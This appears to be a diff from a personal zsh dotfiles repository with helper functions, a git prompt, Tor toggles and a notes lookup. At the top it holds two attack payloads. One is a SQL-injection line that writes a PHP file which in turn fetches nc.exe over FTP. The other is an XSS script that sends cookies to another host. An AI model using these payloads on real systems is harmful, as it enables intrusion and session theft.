192.168.3.1/comment.php?id=737 union select all 1,2,3,4,"<? system('echo open 192.168.1.9 21 > ftp.txt'); ?><? system('echo haxor>> ftp.txt'); ?><? system('echo haxor>> ftp.txt'); ?><? system('echo bin >> ftp.txt'); ?><? system('echo GET nc.exe >> ftp.txt'); ?><? system('echo bye >> ftp.txt'); ?>",6 into OUTFILE 'c:/xampp/htdocs/makeftp12.php'

View File

@ -0,0 +1,3 @@
<script>new Image().src="http://192.168.1.1/bogus.php?output="+document.cookie;</script>

0
zsh_files/.zsh 100755
View File

3
zsh_files/.zshrc 100755
View File

@ -0,0 +1,3 @@
source ~/.cryptozsh/general.zsh
source ~/.cryptozsh/crypto.zsh
source ~/.cryptozsh/vedas.zsh

View File

@ -0,0 +1,35 @@
# Create a temporary file random name and open it with vi
function tmp {
curran=$RANDOM$RANDOM
echo "Temporary file name: /tmp/$curran"
vi /tmp/$curran
}
# HTTP and HTTPS response check
function chkhttpz {
# http response checks from a given host / port
echo "HTTP responses"
wget --spider -S "http://$1:$2/" 2>&1 | grep "HTTP/"
echo "\nHTTPS responses"
wget --spider -S "https://$1:$2/" 2>&1 | grep "HTTP/"
}
# Show certificate of website
function chkcrt {
# check ssl certificate of a server
openssl s_client -showcerts -connect $1:$2
}
# Quickly get random characters
function rnd {
# get some random characters
cat /dev/urandom | tr -dc _A-Z-a-z-0-9.,! | head -c${1:-8};echo;
cat /dev/urandom | tr -dc _A-Z-a-z-0-9.,! | head -c${1:-16};echo;
cat /dev/urandom | tr -dc _A-Z-a-z-0-9.,! | head -c${1:-32};echo;
cat /dev/urandom | tr -dc _A-Z-a-z-0-9.,! | head -c${1:-64};echo;
}

View File

@ -0,0 +1,152 @@
#Aliases
alias py='python3'
alias bcp='python3 ~/.cryptozsh_tools/bcp.py'
alias hash-identifier='python3 ~/.cryptozsh_tools/hash-identifier.py'
# Add yours :)
# Menuselect and requirements for v3das (changing this might break v3das)
autoload -U compinit
compinit
zstyle ':completion:*' menu select=2
# History
# Off
# Opts
setopt AUTO_CD
setopt COMPLETE_IN_WORD
setopt ALWAYS_TO_END
setopt PROMPT_SUBST
setopt interactivecomments
# Terminal colors
autoload colors; colors
for COLOR in RED GREEN YELLOW BLUE MAGENTA CYAN BLACK WHITE; do
eval PR_$COLOR='%{$fg_no_bold[${(L)COLOR}]%}'
eval PR_BOLD_$COLOR='%{$fg_bold[${(L)COLOR}]%}'
done
eval RESET='$reset_color'
export PR_RED PR_GREEN PR_YELLOW PR_BLUE PR_WHITE PR_BLACK
export PR_BOLD_RED PR_BOLD_GREEN PR_BOLD_YELLOW PR_BOLD_BLUE
export PR_BOLD_WHITE PR_BOLD_BLACK
# Clear LSCOLORS
#unset LSCOLORS
#export CLICOLOR=1
#export LS_COLORS=exfxcxdxbxegedabagacad
# Prompt
function git_prompt_info {
local ref=$(=git symbolic-ref HEAD 2> /dev/null)
local gitst="$(=git status 2> /dev/null)"
if [[ -f .git/MERGE_HEAD ]]; then
if [[ ${gitst} =~ "unmerged" ]]; then
gitstatus=" %{$fg[red]%}unmerged%{$reset_color%}"
else
gitstatus=" %{$fg[green]%}merged%{$reset_color%}"
fi
elif [[ ${gitst} =~ "Changes to be committed" ]]; then
gitstatus=" %{$fg[blue]%}!%{$reset_color%}"
elif [[ ${gitst} =~ "use \"git add" ]]; then
gitstatus=" %{$fg[red]%}!%{$reset_color%}"
elif [[ -n `git checkout HEAD 2> /dev/null | grep ahead` ]]; then
gitstatus=" %{$fg[yellow]%}*%{$reset_color%}"
else
gitstatus=''
fi
if [[ -n $ref ]]; then
echo "%{$fg_bold[green]%}/${ref#refs/heads/}%{$reset_color%}$gitstatus"
fi
}
PROMPT='%{$fg[yellow]%}$(whoami)%{$reset_color%} %~%<< $(git_prompt_info) ${PR_BOLD_WHITE}>%{${reset_color}%} '
# btc price check on coindesk
function btcp {
. torsocks on # Turn on for extra security
echo "BTC price on CoinDesk "
curl -s https://api.coindesk.com/v1/bpi/currentprice.json | cut -d '"' -f 38
}
# Timezone converter from cst to budapest
function tconv {
ton
conv=$1
wget -qO- http://worldcitytime.com/$conv/cst/to/budapest|grep time |grep binding|tail -2|cut -d'>' -f3|cut -d'<' -f1
}
# Quickly check batter percentage
function batt {
upower -i /org/freedesktop/UPower/devices/battery_BAT0 | grep perc
}
# Extract files faster
function extract {
echo Running extract on $1 ...
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xjf $1 ;;
*.tar.gz) tar xzf $1 ;;
*.bz2) bunzip2 $1 ;;
*.rar) unrar x $1 ;;
*.gz) gunzip $1 ;;
*.tar) tar xf $1 ;;
*.tbz2) tar xjf $1 ;;
*.tgz) tar xzf $1 ;;
*.zip) unzip $1 ;;
*.Z) uncompress $1 ;;
*.7z) 7z x $1 ;;
*.xz) unxz $1 ;;
*) echo "'$1' cannot be extracted via extract()" ;;
esac
else
echo "'$1' is not a valid file"
fi
}
# Check current ip address
function wip {
# check public ip
if [ $RANDOM -gt $RANDOM ]
then
wget -qO- -U "Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0" ipecho.net/plain
else
wget -qO- -U "Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0" icanhazip.com
fi
# curl -s checkip.dyndns.org | sed 's#.*Address: \(.*\)</b.*#\1#' # Alternative 1
# dig +short myip.opendns.com @resolver1.opendns.com # Alternative 2
}
# Tor commands / switching ip
function ton {
. torsocks on
}
function tof {
. torsocks off
}
function tip {
# check if tor is really used or not
wget -qO- https://check.torproject.org/ -U "Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0" | egrep -i "Congratulations. This browser is configured to use Tor.|Sorry. You are not using Tor." | uniq
}
# Temporary file for notes, etc
function tmp {
curran=$RANDOM$RANDOM
echo "Temporary file name: /tmp/$curran"
vim /tmp/$curran
}

View File

@ -0,0 +1 @@
#TBA

View File

@ -0,0 +1,25 @@
fpath=(~/.cryptozsh_tools/v3das $fpath)
# Requirements
#autoload -U compinit
#compinit
#zstyle ':completion:*' menu select=2
function nls {
echo "\nYou can get help from the following topics:\n"
for f in ~/.cryptozsh_tools/v3das/* ; do
echo $f | rev | cut -d'/' -f1 | rev | cut -d'.' -f1 | egrep -v "^_n"
done
echo ""
}
function n {
# query knowledgebase, use tab after n
if [ -d "~/.cryptozsh_tools/v3das" ]
then
echo "knowledge base / notes are missing"
else
cat ~/.cryptozsh_tools/v3das/$1
fi
}